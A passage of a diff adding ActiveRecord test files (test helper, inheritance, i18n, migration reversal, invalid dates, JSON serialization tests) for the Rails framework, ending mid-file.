+require 'stringio'
+
+require 'active_record'
+require 'cases/test_case'
+require 'active_support/dependencies'
+require 'active_support/logger'
+
+require 'support/config'
+require 'support/connection'
+
+# TODO: Move all these random hacks into the ARTest namespace and into the support/ dir
+
+Thread.abort_on_exception = true
+
+# Show backtraces for deprecated behavior for quicker cleanup.
+ActiveSupport::Deprecation.debug = true
+
+# Connect to the database
+ARTest.connect
+
+# Quote "type" if it's a reserved word for the current connection.
+QUOTED_TYPE = ActiveRecord::Base.connection.quote_column_name('type')
+
+def current_adapter?(*types)
+ types.any? do |type|
+ ActiveRecord::ConnectionAdapters.const_defined?(type) &&
+ ActiveRecord::Base.connection.is_a?(ActiveRecord::ConnectionAdapters.const_get(type))
+ end
+end
+
+def in_memory_db?
+ current_adapter?(:SQLite3Adapter) &&
+ ActiveRecord::Base.connection_pool.spec.config[:database] == ":memory:"
+end
+
+def supports_savepoints?
+ ActiveRecord::Base.connection.supports_savepoints?
+end
+
+def with_env_tz(new_tz = 'US/Eastern')
+ old_tz, ENV['TZ'] = ENV['TZ'], new_tz
+ yield
+ensure
+ old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
+end
+
+def with_active_record_default_timezone(zone)
+ old_zone, ActiveRecord::Base.default_timezone = ActiveRecord::Base.default_timezone, zone
+ yield
+ensure
+ ActiveRecord::Base.default_timezone = old_zone
+end
+
+unless ENV['FIXTURE_DEBUG']
+ module ActiveRecord::TestFixtures::ClassMethods
+ def try_to_load_dependency_with_silence(*args)
+ old = ActiveRecord::Base.logger.level
+ ActiveRecord::Base.logger.level = ActiveSupport::Logger::ERROR
+ try_to_load_dependency_without_silence(*args)
+ ActiveRecord::Base.logger.level = old
+ end
+
+ alias_method_chain :try_to_load_dependency, :silence
+ end
+end
+
+require "cases/validations_repair_helper"
+class ActiveSupport::TestCase
+ include ActiveRecord::TestFixtures
+ include ActiveRecord::ValidationsRepairHelper
+
+ self.fixture_path = FIXTURES_ROOT
+ self.use_instantiated_fixtures = false
+ self.use_transactional_fixtures = true
+
+ def create_fixtures(*fixture_set_names, &block)
+ ActiveRecord::FixtureSet.create_fixtures(ActiveSupport::TestCase.fixture_path, fixture_set_names, fixture_class_names, &block)
+ end
+end
+
+def load_schema
+ # silence verbose schema loading
+ original_stdout = $stdout
+ $stdout = StringIO.new
+
+ adapter_name = ActiveRecord::Base.connection.adapter_name.downcase
+ adapter_specific_schema_file = SCHEMA_ROOT + "/#{adapter_name}_specific_schema.rb"
+
+ load SCHEMA_ROOT + "/schema.rb"
+
+ if File.exists?(adapter_specific_schema_file)
+ load adapter_specific_schema_file
+ end
+ensure
+ $stdout = original_stdout
+end
+
+load_schema
+
+class << Time
+ unless method_defined? :now_before_time_travel
+ alias_method :now_before_time_travel, :now
+ end
+
+ def now
+ (@now ||= nil) || now_before_time_travel
+ end
+
+ def travel_to(time, &block)
+ @now = time
+ block.call
+ ensure
+ @now = nil
+ end
+end
+
+module LogIntercepter
+ attr_accessor :logged, :intercepted
+ def self.extended(base)
+ base.logged = []
+ end
+ def log(sql, name, binds = [], &block)
+ if @intercepted
+ @logged << [sql, name, binds]
+ yield
+ else
+ super(sql, name,binds, &block)
+ end
+ end
+end
+
+module InTimeZone
+ private
+
+ def in_time_zone(zone)
+ old_zone = Time.zone
+ old_tz = ActiveRecord::Base.time_zone_aware_attributes
+
+ Time.zone = zone ? ActiveSupport::TimeZone[zone] : nil
+ ActiveRecord::Base.time_zone_aware_attributes = !zone.nil?
+ yield
+ ensure
+ Time.zone = old_zone
+ ActiveRecord::Base.time_zone_aware_attributes = old_tz
+ end
+end
diff --git a/activerecord/test/cases/hot_compatibility_test.rb b/activerecord/test/cases/hot_compatibility_test.rb
new file mode 100644
index 0000000..96e581a
--- /dev/null
+++ b/activerecord/test/cases/hot_compatibility_test.rb
@@ -0,0 +1,54 @@
+require 'cases/helper'
+
+class HotCompatibilityTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
+ setup do
+ @klass = Class.new(ActiveRecord::Base) do
+ connection.create_table :hot_compatibilities do |t|
+ t.string :foo
+ t.string :bar
+ end
+
+ def self.name; 'HotCompatibility'; end
+ end
+ end
+
+ teardown do
+ @klass.connection.drop_table :hot_compatibilities
+ end
+
+ test "insert after remove_column" do
+ # warm cache
+ @klass.create!
+
+ # we have 3 columns
+ assert_equal 3, @klass.columns.length
+
+ # remove one of them
+ @klass.connection.remove_column :hot_compatibilities, :bar
+
+ # we still have 3 columns in the cache
+ assert_equal 3, @klass.columns.length
+
+ # but we can successfully create a record so long as we don't
+ # reference the removed column
+ record = @klass.create! foo: 'foo'
+ record.reload
+ assert_equal 'foo', record.foo
+ end
+
+ test "update after remove_column" do
+ record = @klass.create! foo: 'foo'
+ assert_equal 3, @klass.columns.length
+ @klass.connection.remove_column :hot_compatibilities, :bar
+ assert_equal 3, @klass.columns.length
+
+ record.reload
+ assert_equal 'foo', record.foo
+ record.foo = 'bar'
+ record.save!
+ record.reload
+ assert_equal 'bar', record.foo
+ end
+end
diff --git a/activerecord/test/cases/i18n_test.rb b/activerecord/test/cases/i18n_test.rb
new file mode 100644
index 0000000..a428f1d
--- /dev/null
+++ b/activerecord/test/cases/i18n_test.rb
@@ -0,0 +1,45 @@
+require "cases/helper"
+require 'models/topic'
+require 'models/reply'
+
+class ActiveRecordI18nTests < ActiveRecord::TestCase
+
+ def setup
+ I18n.backend = I18n::Backend::Simple.new
+ end
+
+ def test_translated_model_attributes
+ I18n.backend.store_translations 'en', :activerecord => {:attributes => {:topic => {:title => 'topic title attribute'} } }
+ assert_equal 'topic title attribute', Topic.human_attribute_name('title')
+ end
+
+ def test_translated_model_attributes_with_symbols
+ I18n.backend.store_translations 'en', :activerecord => {:attributes => {:topic => {:title => 'topic title attribute'} } }
+ assert_equal 'topic title attribute', Topic.human_attribute_name(:title)
+ end
+
+ def test_translated_model_attributes_with_sti
+ I18n.backend.store_translations 'en', :activerecord => {:attributes => {:reply => {:title => 'reply title attribute'} } }
+ assert_equal 'reply title attribute', Reply.human_attribute_name('title')
+ end
+
+ def test_translated_model_attributes_with_sti_fallback
+ I18n.backend.store_translations 'en', :activerecord => {:attributes => {:topic => {:title => 'topic title attribute'} } }
+ assert_equal 'topic title attribute', Reply.human_attribute_name('title')
+ end
+
+ def test_translated_model_names
+ I18n.backend.store_translations 'en', :activerecord => {:models => {:topic => 'topic model'} }
+ assert_equal 'topic model', Topic.model_name.human
+ end
+
+ def test_translated_model_names_with_sti
+ I18n.backend.store_translations 'en', :activerecord => {:models => {:reply => 'reply model'} }
+ assert_equal 'reply model', Reply.model_name.human
+ end
+
+ def test_translated_model_names_with_sti_fallback
+ I18n.backend.store_translations 'en', :activerecord => {:models => {:topic => 'topic model'} }
+ assert_equal 'topic model', Reply.model_name.human
+ end
+end
diff --git a/activerecord/test/cases/inheritance_test.rb b/activerecord/test/cases/inheritance_test.rb
new file mode 100644
index 0000000..a9be132
--- /dev/null
+++ b/activerecord/test/cases/inheritance_test.rb
@@ -0,0 +1,355 @@
+require "cases/helper"
+require 'models/company'
+require 'models/person'
+require 'models/post'
+require 'models/project'
+require 'models/subscriber'
+require 'models/vegetables'
+
+class InheritanceTest < ActiveRecord::TestCase
+ fixtures :companies, :projects, :subscribers, :accounts, :vegetables
+
+ def test_class_with_store_full_sti_class_returns_full_name
+ old = ActiveRecord::Base.store_full_sti_class
+ ActiveRecord::Base.store_full_sti_class = true
+ assert_equal 'Namespaced::Company', Namespaced::Company.sti_name
+ ensure
+ ActiveRecord::Base.store_full_sti_class = old
+ end
+
+ def test_class_with_blank_sti_name
+ company = Company.first
+ company = company.dup
+ company.extend(Module.new {
+ def read_attribute(name)
+ return ' ' if name == 'type'
+ super
+ end
+ })
+ company.save!
+ company = Company.all.to_a.find { |x| x.id == company.id }
+ assert_equal ' ', company.type
+ end
+
+ def test_class_without_store_full_sti_class_returns_demodulized_name
+ old = ActiveRecord::Base.store_full_sti_class
+ ActiveRecord::Base.store_full_sti_class = false
+ assert_equal 'Company', Namespaced::Company.sti_name
+ ensure
+ ActiveRecord::Base.store_full_sti_class = old
+ end
+
+ def test_should_store_demodulized_class_name_with_store_full_sti_class_option_disabled
+ old = ActiveRecord::Base.store_full_sti_class
+ ActiveRecord::Base.store_full_sti_class = false
+ item = Namespaced::Company.new
+ assert_equal 'Company', item[:type]
+ ensure
+ ActiveRecord::Base.store_full_sti_class = old
+ end
+
+ def test_should_store_full_class_name_with_store_full_sti_class_option_enabled
+ old = ActiveRecord::Base.store_full_sti_class
+ ActiveRecord::Base.store_full_sti_class = true
+ item = Namespaced::Company.new
+ assert_equal 'Namespaced::Company', item[:type]
+ ensure
+ ActiveRecord::Base.store_full_sti_class = old
+ end
+
+ def test_different_namespace_subclass_should_load_correctly_with_store_full_sti_class_option
+ old = ActiveRecord::Base.store_full_sti_class
+ ActiveRecord::Base.store_full_sti_class = true
+ item = Namespaced::Company.create :name => "Wolverine 2"
+ assert_not_nil Company.find(item.id)
+ assert_not_nil Namespaced::Company.find(item.id)
+ ensure
+ ActiveRecord::Base.store_full_sti_class = old
+ end
+
+ def test_company_descends_from_active_record
+ assert !ActiveRecord::Base.descends_from_active_record?
+ assert AbstractCompany.descends_from_active_record?, 'AbstractCompany should descend from ActiveRecord::Base'
+ assert Company.descends_from_active_record?, 'Company should descend from ActiveRecord::Base'
+ assert !Class.new(Company).descends_from_active_record?, 'Company subclass should not descend from ActiveRecord::Base'
+ end
+
+ def test_inheritance_base_class
+ assert_equal Post, Post.base_class
+ assert_equal Post, SpecialPost.base_class
+ assert_equal Post, StiPost.base_class
+ assert_equal SubStiPost, SubStiPost.base_class
+ end
+
+ def test_abstract_inheritance_base_class
+ assert_equal LoosePerson, LoosePerson.base_class
+ assert_equal LooseDescendant, LooseDescendant.base_class
+ assert_equal TightPerson, TightPerson.base_class
+ assert_equal TightPerson, TightDescendant.base_class
+ end
+
+ def test_base_class_activerecord_error
+ klass = Class.new { include ActiveRecord::Inheritance }
+ assert_raise(ActiveRecord::ActiveRecordError) { klass.base_class }
+ end
+
+ def test_a_bad_type_column
+ #SQLServer need to turn Identity Insert On before manually inserting into the Identity column
+ if current_adapter?(:SybaseAdapter)
+ Company.connection.execute "SET IDENTITY_INSERT companies ON"
+ end
+ Company.connection.insert "INSERT INTO companies (id, #{QUOTED_TYPE}, name) VALUES(100, 'bad_class!', 'Not happening')"
+
+ #We then need to turn it back Off before continuing.
+ if current_adapter?(:SybaseAdapter)
+ Company.connection.execute "SET IDENTITY_INSERT companies OFF"
+ end
+ assert_raise(ActiveRecord::SubclassNotFound) { Company.find(100) }
+ end
+
+ def test_inheritance_find
+ assert_kind_of Firm, Company.find(1), "37signals should be a firm"
+ assert_kind_of Firm, Firm.find(1), "37signals should be a firm"
+ assert_kind_of Client, Company.find(2), "Summit should be a client"
+ assert_kind_of Client, Client.find(2), "Summit should be a client"
+ end
+
+ def test_alt_inheritance_find
+ assert_kind_of Cucumber, Vegetable.find(1)
+ assert_kind_of Cucumber, Cucumber.find(1)
+ assert_kind_of Cabbage, Vegetable.find(2)
+ assert_kind_of Cabbage, Cabbage.find(2)
+ end
+
+ def test_alt_becomes_works_with_sti
+ vegetable = Vegetable.find(1)
+ assert_kind_of Vegetable, vegetable
+ cabbage = vegetable.becomes(Cabbage)
+ assert_kind_of Cabbage, cabbage
+ end
+
+ def test_inheritance_find_all
+ companies = Company.all.merge!(:order => 'id').to_a
+ assert_kind_of Firm, companies[0], "37signals should be a firm"
+ assert_kind_of Client, companies[1], "Summit should be a client"
+ end
+
+ def test_alt_inheritance_find_all
+ companies = Vegetable.all.merge!(:order => 'id').to_a
+ assert_kind_of Cucumber, companies[0]
+ assert_kind_of Cabbage, companies[1]
+ end
+
+ def test_inheritance_save
+ firm = Firm.new
+ firm.name = "Next Angle"
+ firm.save
+
+ next_angle = Company.find(firm.id)
+ assert_kind_of Firm, next_angle, "Next Angle should be a firm"
+ end
+
+ def test_alt_inheritance_save
+ cabbage = Cabbage.new(:name => 'Savoy')
+ cabbage.save!
+
+ savoy = Vegetable.find(cabbage.id)
+ assert_kind_of Cabbage, savoy
+ end
+
+ def test_inheritance_new_with_default_class
+ company = Company.new
+ assert_equal Company, company.class
+ end
+
+ def test_inheritance_new_with_base_class
+ company = Company.new(:type => 'Company')
+ assert_equal Company, company.class
+ end
+
+ def test_inheritance_new_with_subclass
+ firm = Company.new(:type => 'Firm')
+ assert_equal Firm, firm.class
+ end
+
+ def test_new_with_abstract_class
+ e = assert_raises(NotImplementedError) do
+ AbstractCompany.new
+ end
+ assert_equal("AbstractCompany is an abstract class and can not be instantiated.", e.message)
+ end
+
+ def test_new_with_ar_base
+ e = assert_raises(NotImplementedError) do
+ ActiveRecord::Base.new
+ end
+ assert_equal("ActiveRecord::Base is an abstract class and can not be instantiated.", e.message)
+ end
+
+ def test_new_with_invalid_type
+ assert_raise(ActiveRecord::SubclassNotFound) { Company.new(:type => 'InvalidType') }
+ end
+
+ def test_new_with_unrelated_type
+ assert_raise(ActiveRecord::SubclassNotFound) { Company.new(:type => 'Account') }
+ end
+
+ def test_new_with_complex_inheritance
+ assert_nothing_raised { Client.new(type: 'VerySpecialClient') }
+ end
+
+ def test_new_with_autoload_paths
+ path = File.expand_path('../../models/autoloadable', __FILE__)
+ ActiveSupport::Dependencies.autoload_paths << path
+
+ firm = Company.new(:type => 'ExtraFirm')
+ assert_equal ExtraFirm, firm.class
+ ensure
+ ActiveSupport::Dependencies.autoload_paths.reject! { |p| p == path }
+ ActiveSupport::Dependencies.clear
+ end
+
+ def test_inheritance_condition
+ assert_equal 10, Company.count
+ assert_equal 2, Firm.count
+ assert_equal 4, Client.count
+ end
+
+ def test_alt_inheritance_condition
+ assert_equal 4, Vegetable.count
+ assert_equal 1, Cucumber.count
+ assert_equal 3, Cabbage.count
+ end
+
+ def test_finding_incorrect_type_data
+ assert_raise(ActiveRecord::RecordNotFound) { Firm.find(2) }
+ assert_nothing_raised { Firm.find(1) }
+ end
+
+ def test_alt_finding_incorrect_type_data
+ assert_raise(ActiveRecord::RecordNotFound) { Cucumber.find(2) }
+ assert_nothing_raised { Cucumber.find(1) }
+ end
+
+ def test_update_all_within_inheritance
+ Client.update_all "name = 'I am a client'"
+ assert_equal "I am a client", Client.first.name
+ # Order by added as otherwise Oracle tests were failing because of different order of results
+ assert_equal "37signals", Firm.all.merge!(:order => "id").to_a.first.name
+ end
+
+ def test_alt_update_all_within_inheritance
+ Cabbage.update_all "name = 'the cabbage'"
+ assert_equal "the cabbage", Cabbage.first.name
+ assert_equal ["my cucumber"], Cucumber.all.map(&:name).uniq
+ end
+
+ def test_destroy_all_within_inheritance
+ Client.destroy_all
+ assert_equal 0, Client.count
+ assert_equal 2, Firm.count
+ end
+
+ def test_alt_destroy_all_within_inheritance
+ Cabbage.destroy_all
+ assert_equal 0, Cabbage.count
+ assert_equal 1, Cucumber.count
+ end
+
+ def test_find_first_within_inheritance
+ assert_kind_of Firm, Company.all.merge!(:where => "name = '37signals'").first
+ assert_kind_of Firm, Firm.all.merge!(:where => "name = '37signals'").first
+ assert_nil Client.all.merge!(:where => "name = '37signals'").first
+ end
+
+ def test_alt_find_first_within_inheritance
+ assert_kind_of Cabbage, Vegetable.all.merge!(:where => "name = 'his cabbage'").first
+ assert_kind_of Cabbage, Cabbage.all.merge!(:where => "name = 'his cabbage'").first
+ assert_nil Cucumber.all.merge!(:where => "name = 'his cabbage'").first
+ end
+
+ def test_complex_inheritance
+ very_special_client = VerySpecialClient.create("name" => "veryspecial")
+ assert_equal very_special_client, VerySpecialClient.where("name = 'veryspecial'").first
+ assert_equal very_special_client, SpecialClient.all.merge!(:where => "name = 'veryspecial'").first
+ assert_equal very_special_client, Company.all.merge!(:where => "name = 'veryspecial'").first
+ assert_equal very_special_client, Client.all.merge!(:where => "name = 'veryspecial'").first
+ assert_equal 1, Client.all.merge!(:where => "name = 'Summit'").to_a.size
+ assert_equal very_special_client, Client.find(very_special_client.id)
+ end
+
+ def test_alt_complex_inheritance
+ king_cole = KingCole.create("name" => "uniform heads")
+ assert_equal king_cole, KingCole.where("name = 'uniform heads'").first
+ assert_equal king_cole, GreenCabbage.all.merge!(:where => "name = 'uniform heads'").first
+ assert_equal king_cole, Cabbage.all.merge!(:where => "name = 'uniform heads'").first
+ assert_equal king_cole, Vegetable.all.merge!(:where => "name = 'uniform heads'").first
+ assert_equal 1, Cabbage.all.merge!(:where => "name = 'his cabbage'").to_a.size
+ assert_equal king_cole, Cabbage.find(king_cole.id)
+ end
+
+ def test_eager_load_belongs_to_something_inherited
+ account = Account.all.merge!(:includes => :firm).find(1)
+ assert account.association_cache.key?(:firm), "nil proves eager load failed"
+ end
+
+ def test_alt_eager_loading
+ cabbage = RedCabbage.all.merge!(:includes => :seller).find(4)
+ assert cabbage.association_cache.key?(:seller), "nil proves eager load failed"
+ end
+
+ def test_eager_load_belongs_to_primary_key_quoting
+ con = Account.connection
+ assert_sql(/#{con.quote_table_name('companies')}.#{con.quote_column_name('id')} IN \(1\)/) do
+ Account.all.merge!(:includes => :firm).find(1)
+ end
+ end
+
+ def test_inherits_custom_primary_key
+ assert_equal Subscriber.primary_key, SpecialSubscriber.primary_key
+ end
+
+ def test_inheritance_without_mapping
+ assert_kind_of SpecialSubscriber, SpecialSubscriber.find("webster132")
+ assert_nothing_raised { s = SpecialSubscriber.new("name" => "And breaaaaathe!"); s.id = 'roger'; s.save }
+ end
+end
+
+
+class InheritanceComputeTypeTest < ActiveRecord::TestCase
+ fixtures :companies
+
+ def setup
+ ActiveSupport::Dependencies.log_activity = true
+ end
+
+ def teardown
+ ActiveSupport::Dependencies.log_activity = false
+ self.class.const_remove :FirmOnTheFly rescue nil
+ Firm.const_remove :FirmOnTheFly rescue nil
+ end
+
+ def test_instantiation_doesnt_try_to_require_corresponding_file
+ ActiveRecord::Base.store_full_sti_class = false
+ foo = Firm.first.clone
+ foo.type = 'FirmOnTheFly'
+ foo.save!
+
+ # Should fail without FirmOnTheFly in the type condition.
+ assert_raise(ActiveRecord::RecordNotFound) { Firm.find(foo.id) }
+
+ # Nest FirmOnTheFly in the test case where Dependencies won't see it.
+ self.class.const_set :FirmOnTheFly, Class.new(Firm)
+ assert_raise(ActiveRecord::SubclassNotFound) { Firm.find(foo.id) }
+
+ # Nest FirmOnTheFly in Firm where Dependencies will see it.
+ # This is analogous to nesting models in a migration.
+ Firm.const_set :FirmOnTheFly, Class.new(Firm)
+
+ # And instantiate will find the existing constant rather than trying
+ # to require firm_on_the_fly.
+ assert_nothing_raised { assert_kind_of Firm::FirmOnTheFly, Firm.find(foo.id) }
+ ensure
+ ActiveRecord::Base.store_full_sti_class = true
+ end
+end
diff --git a/activerecord/test/cases/invalid_date_test.rb b/activerecord/test/cases/invalid_date_test.rb
new file mode 100644
index 0000000..426a350
--- /dev/null
+++ b/activerecord/test/cases/invalid_date_test.rb
@@ -0,0 +1,32 @@
+require 'cases/helper'
+require 'models/topic'
+
+class InvalidDateTest < ActiveRecord::TestCase
+ def test_assign_valid_dates
+ valid_dates = [[2007, 11, 30], [1993, 2, 28], [2008, 2, 29]]
+
+ invalid_dates = [[2007, 11, 31], [1993, 2, 29], [2007, 2, 29]]
+
+ valid_dates.each do |date_src|
+ topic = Topic.new("last_read(1i)" => date_src[0].to_s, "last_read(2i)" => date_src[1].to_s, "last_read(3i)" => date_src[2].to_s)
+ # Oracle DATE columns are datetime columns and Oracle adapter returns Time value
+ if current_adapter?(:OracleAdapter)
+ assert_equal(topic.last_read.to_date, Date.new(*date_src))
+ else
+ assert_equal(topic.last_read, Date.new(*date_src))
+ end
+ end
+
+ invalid_dates.each do |date_src|
+ assert_nothing_raised do
+ topic = Topic.new({"last_read(1i)" => date_src[0].to_s, "last_read(2i)" => date_src[1].to_s, "last_read(3i)" => date_src[2].to_s})
+ # Oracle DATE columns are datetime columns and Oracle adapter returns Time value
+ if current_adapter?(:OracleAdapter)
+ assert_equal(topic.last_read.to_date, Time.local(*date_src).to_date, "The date should be modified according to the behavior of the Time object")
+ else
+ assert_equal(topic.last_read, Time.local(*date_src).to_date, "The date should be modified according to the behavior of the Time object")
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/invertible_migration_test.rb b/activerecord/test/cases/invertible_migration_test.rb
new file mode 100644
index 0000000..be59ffc
--- /dev/null
+++ b/activerecord/test/cases/invertible_migration_test.rb
@@ -0,0 +1,231 @@
+require "cases/helper"
+
+module ActiveRecord
+ class InvertibleMigrationTest < ActiveRecord::TestCase
+ class SilentMigration < ActiveRecord::Migration
+ def write(text = '')
+ # sssshhhhh!!
+ end
+ end
+
+ class InvertibleMigration < SilentMigration
+ def change
+ create_table("horses") do |t|
+ t.column :content, :text
+ t.column :remind_at, :datetime
+ end
+ end
+ end
+
+ class InvertibleRevertMigration < SilentMigration
+ def change
+ revert do
+ create_table("horses") do |t|
+ t.column :content, :text
+ t.column :remind_at, :datetime
+ end
+ end
+ end
+ end
+
+ class InvertibleByPartsMigration < SilentMigration
+ attr_writer :test
+ def change
+ create_table("new_horses") do |t|
+ t.column :breed, :string
+ end
+ reversible do |dir|
+ @test.yield :both
+ dir.up { @test.yield :up }
+ dir.down { @test.yield :down }
+ end
+ revert do
+ create_table("horses") do |t|
+ t.column :content, :text
+ t.column :remind_at, :datetime
+ end
+ end
+ end
+ end
+
+ class NonInvertibleMigration < SilentMigration
+ def change
+ create_table("horses") do |t|
+ t.column :content, :text
+ t.column :remind_at, :datetime
+ end
+ remove_column "horses", :content
+ end
+ end
+
+ class LegacyMigration < ActiveRecord::Migration
+ def self.up
+ create_table("horses") do |t|
+ t.column :content, :text
+ t.column :remind_at, :datetime
+ end
+ end
+
+ def self.down
+ drop_table("horses")
+ end
+ end
+
+ class RevertWholeMigration < SilentMigration
+ def initialize(name = self.class.name, version = nil, migration)
+ @migration = migration
+ super(name, version)
+ end
+
+ def change
+ revert @migration
+ end
+ end
+
+ class NestedRevertWholeMigration < RevertWholeMigration
+ def change
+ revert { super }
+ end
+ end
+
+ def teardown
+ %w[horses new_horses].each do |table|
+ if ActiveRecord::Base.connection.table_exists?(table)
+ ActiveRecord::Base.connection.drop_table(table)
+ end
+ end
+ end
+
+ def test_no_reverse
+ migration = NonInvertibleMigration.new
+ migration.migrate(:up)
+ assert_raises(IrreversibleMigration) do
+ migration.migrate(:down)
+ end
+ end
+
+ def test_migrate_up
+ migration = InvertibleMigration.new
+ migration.migrate(:up)
+ assert migration.connection.table_exists?("horses"), "horses should exist"
+ end
+
+ def test_migrate_down
+ migration = InvertibleMigration.new
+ migration.migrate :up
+ migration.migrate :down
+ assert !migration.connection.table_exists?("horses")
+ end
+
+ def test_migrate_revert
+ migration = InvertibleMigration.new
+ revert = InvertibleRevertMigration.new
+ migration.migrate :up
+ revert.migrate :up
+ assert !migration.connection.table_exists?("horses")
+ revert.migrate :down
+ assert migration.connection.table_exists?("horses")
+ migration.migrate :down
+ assert !migration.connection.table_exists?("horses")
+ end
+
+ def test_migrate_revert_by_part
+ InvertibleMigration.new.migrate :up
+ received = []
+ migration = InvertibleByPartsMigration.new
+ migration.test = ->(dir){
+ assert migration.connection.table_exists?("horses")
+ assert migration.connection.table_exists?("new_horses")
+ received << dir
+ }
+ migration.migrate :up
+ assert_equal [:both, :up], received
+ assert !migration.connection.table_exists?("horses")
+ assert migration.connection.table_exists?("new_horses")
+ migration.migrate :down
+ assert_equal [:both, :up, :both, :down], received
+ assert migration.connection.table_exists?("horses")
+ assert !migration.connection.table_exists?("new_horses")
+ end
+
+ def test_migrate_revert_whole_migration
+ migration = InvertibleMigration.new
+ [LegacyMigration, InvertibleMigration].each do |klass|
+ revert = RevertWholeMigration.new(klass)
+ migration.migrate :up
+ revert.migrate :up
+ assert !migration.connection.table_exists?("horses")
+ revert.migrate :down
+ assert migration.connection.table_exists?("horses")
+ migration.migrate :down
+ assert !migration.connection.table_exists?("horses")
+ end
+ end
+
+ def test_migrate_nested_revert_whole_migration
+ revert = NestedRevertWholeMigration.new(InvertibleRevertMigration)
+ revert.migrate :down
+ assert revert.connection.table_exists?("horses")
+ revert.migrate :up
+ assert !revert.connection.table_exists?("horses")
+ end
+
+ def test_revert_order
+ block = Proc.new{|t| t.string :name }
+ recorder = ActiveRecord::Migration::CommandRecorder.new(ActiveRecord::Base.connection)
+ recorder.instance_eval do
+ create_table("apples", &block)
+ revert do
+ create_table("bananas", &block)
+ revert do
+ create_table("clementines")
+ create_table("dates")
+ end
+ create_table("elderberries")
+ end
+ revert do
+ create_table("figs")
+ create_table("grapes")
+ end
+ end
+ assert_equal [[:create_table, ["apples"], block], [:drop_table, ["elderberries"], nil],
+ [:create_table, ["clementines"], nil], [:create_table, ["dates"], nil],
+ [:drop_table, ["bananas"], block], [:drop_table, ["grapes"], nil],
+ [:drop_table, ["figs"], nil]], recorder.commands
+ end
+
+ def test_legacy_up
+ LegacyMigration.migrate :up
+ assert ActiveRecord::Base.connection.table_exists?("horses"), "horses should exist"
+ end
+
+ def test_legacy_down
+ LegacyMigration.migrate :up
+ LegacyMigration.migrate :down
+ assert !ActiveRecord::Base.connection.table_exists?("horses"), "horses should not exist"
+ end
+
+ def test_up
+ LegacyMigration.up
+ assert ActiveRecord::Base.connection.table_exists?("horses"), "horses should exist"
+ end
+
+ def test_down
+ LegacyMigration.up
+ LegacyMigration.down
+ assert !ActiveRecord::Base.connection.table_exists?("horses"), "horses should not exist"
+ end
+
+ def test_migrate_down_with_table_name_prefix
+ ActiveRecord::Base.table_name_prefix = 'p_'
+ ActiveRecord::Base.table_name_suffix = '_s'
+ migration = InvertibleMigration.new
+ migration.migrate(:up)
+ assert_nothing_raised { migration.migrate(:down) }
+ assert !ActiveRecord::Base.connection.table_exists?("p_horses_s"), "p_horses_s should not exist"
+ ensure
+ ActiveRecord::Base.table_name_prefix = ActiveRecord::Base.table_name_suffix = ''
+ end
+
+ end
+end
diff --git a/activerecord/test/cases/json_serialization_test.rb b/activerecord/test/cases/json_serialization_test.rb
new file mode 100644
index 0000000..a222675
--- /dev/null
+++ b/activerecord/test/cases/json_serialization_test.rb
@@ -0,0 +1,300 @@
+require "cases/helper"
+require 'models/contact'
+require 'models/post'
+require 'models/author'
+require 'models/tagging'
+require 'models/tag'
+require 'models/comment'
+
+module JsonSerializationHelpers
+ private
+
+ def set_include_root_in_json(value)
+ original_root_in_json = ActiveRecord::Base.include_root_in_json
+ ActiveRecord::Base.include_root_in_json = value
+ yield
+ ensure
+ ActiveRecord::Base.include_root_in_json = original_root_in_json
+ end
+end
+
+class JsonSerializationTest < ActiveRecord::TestCase
+ include JsonSerializationHelpers
+
+ class NamespacedContact < Contact
+ column :name, :string
+ end
+
+ def setup
+ @contact = Contact.new(
+ :name => 'Konata Izumi',
+ :age => 16,
+ :avatar => 'binarydata',
+ :created_at => Time.utc(2006, 8, 1),
+ :awesome => true,
+ :preferences => { :shows => 'anime' }
+ )
+ end
+
+ def test_should_demodulize_root_in_json
+ set_include_root_in_json(true) do
+ @contact = NamespacedContact.new name: 'whatever'
+ json = @contact.to_json
+ assert_match %r{^\{"namespaced_contact":\{}, json
+ end
+ end
+
+ def test_should_include_root_in_json
+ set_include_root_in_json(true) do
+ json = @contact.to_json
+
+ assert_match %r{^\{"contact":\{}, json
+ assert_match %r{"name":"Konata Izumi"}, json
+ assert_match %r{"age":16}, json
+ assert json.include?(%("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
+ assert_match %r{"awesome":true}, json
+ assert_match %r{"preferences":\{"shows":"anime"\}}, json
+ end
+ end
+
+ def test_should_encode_all_encodable_attributes
+ json = @contact.to_json
+
+ assert_match %r{"name":"Konata Izumi"}, json
+ assert_match %r{"age":16}, json
+ assert json.include?(%("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
+ assert_match %r{"awesome":true}, json
+ assert_match %r{"preferences":\{"shows":"anime"\}}, json
+ end
+
+ def test_should_allow_attribute_filtering_with_only
+ json = @contact.to_json(:only => [:name, :age])
+
+ assert_match %r{"name":"Konata Izumi"}, json
+ assert_match %r{"age":16}, json
+ assert_no_match %r{"awesome":true}, json
+ assert !json.include?(%("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
+ assert_no_match %r{"preferences":\{"shows":"anime"\}}, json
+ end
+
+ def test_should_allow_attribute_filtering_with_except
+ json = @contact.to_json(:except => [:name, :age])
+
+ assert_no_match %r{"name":"Konata Izumi"}, json
+ assert_no_match %r{"age":16}, json
+ assert_match %r{"awesome":true}, json
+ assert json.include?(%("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
+ assert_match %r{"preferences":\{"shows":"anime"\}}, json
+ end
+
+ def test_methods_are_called_on_object
+ # Define methods on fixture.
+ def @contact.label; "Has cheezburger"; end
+ def @contact.favorite_quote; "Constraints are liberating"; end
+
+ # Single method.
+ assert_match %r{"label":"Has cheezburger"}, @contact.to_json(:only => :name, :methods => :label)
+
+ # Both methods.
+ methods_json = @contact.to_json(:only => :name, :methods => [:label, :favorite_quote])
+ assert_match %r{"label":"Has cheezburger"}, methods_json
+ assert_match %r{"favorite_quote":"Constraints are liberating"}, methods_json
+ end
+
+ def test_uses_serializable_hash_with_only_option
+ def @contact.serializable_hash(options=nil)
+ super(only: %w(name))
+ end
+
+ json = @contact.to_json
+ assert_match %r{"name":"Konata Izumi"}, json
+ assert_no_match %r{awesome}, json
+ assert_no_match %r{age}, json
+ end
+
+ def test_uses_serializable_hash_with_except_option
+ def @contact.serializable_hash(options=nil)
+ super(except: %w(age))
+ end
+
+ json = @contact.to_json
+ assert_match %r{"name":"Konata Izumi"}, json
